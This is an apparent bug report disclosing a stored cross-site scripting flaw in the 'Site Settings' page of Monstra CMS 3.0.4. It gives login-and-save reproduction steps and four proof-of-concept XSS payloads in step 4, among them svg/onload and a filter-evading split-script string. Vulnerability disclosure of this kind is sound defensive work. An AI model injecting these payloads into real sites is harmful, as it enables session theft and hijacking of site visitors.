Cross Site Script Vulnerability on "Site Settings" in Monstra version 3.0.4

[r0ck3t1973]

Hii, Team Monstra!!!

Describe the bug
An authenticated malicious user can take advantage of a Stored XSS vulnerability in the "Site Settings" feature Monstra.

To Reproduce
Steps to reproduce the behavior:

1.Login into the panel Monstra
2. Go to 'admin/index.php'
3. Click 'System' -> 'Settings'
4. Insert Payload XSS:
">
'><details/open/ontoggle=confirm("XSS")>
// # "><svg/onload=prompt(1337)>
<svg/on<script><script>load=alert(1337)//</script>

5. Save
6. click View Site -> xss alert message!

Impact
Commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.

Screenshots
a. Infor Monstra version:

b. insert payload xss:

c. view site -> xss alert message

Desktop (please complete the following information):
OS: Windows
Browser: All
Version:

I Hope you fix it ASAP!!!!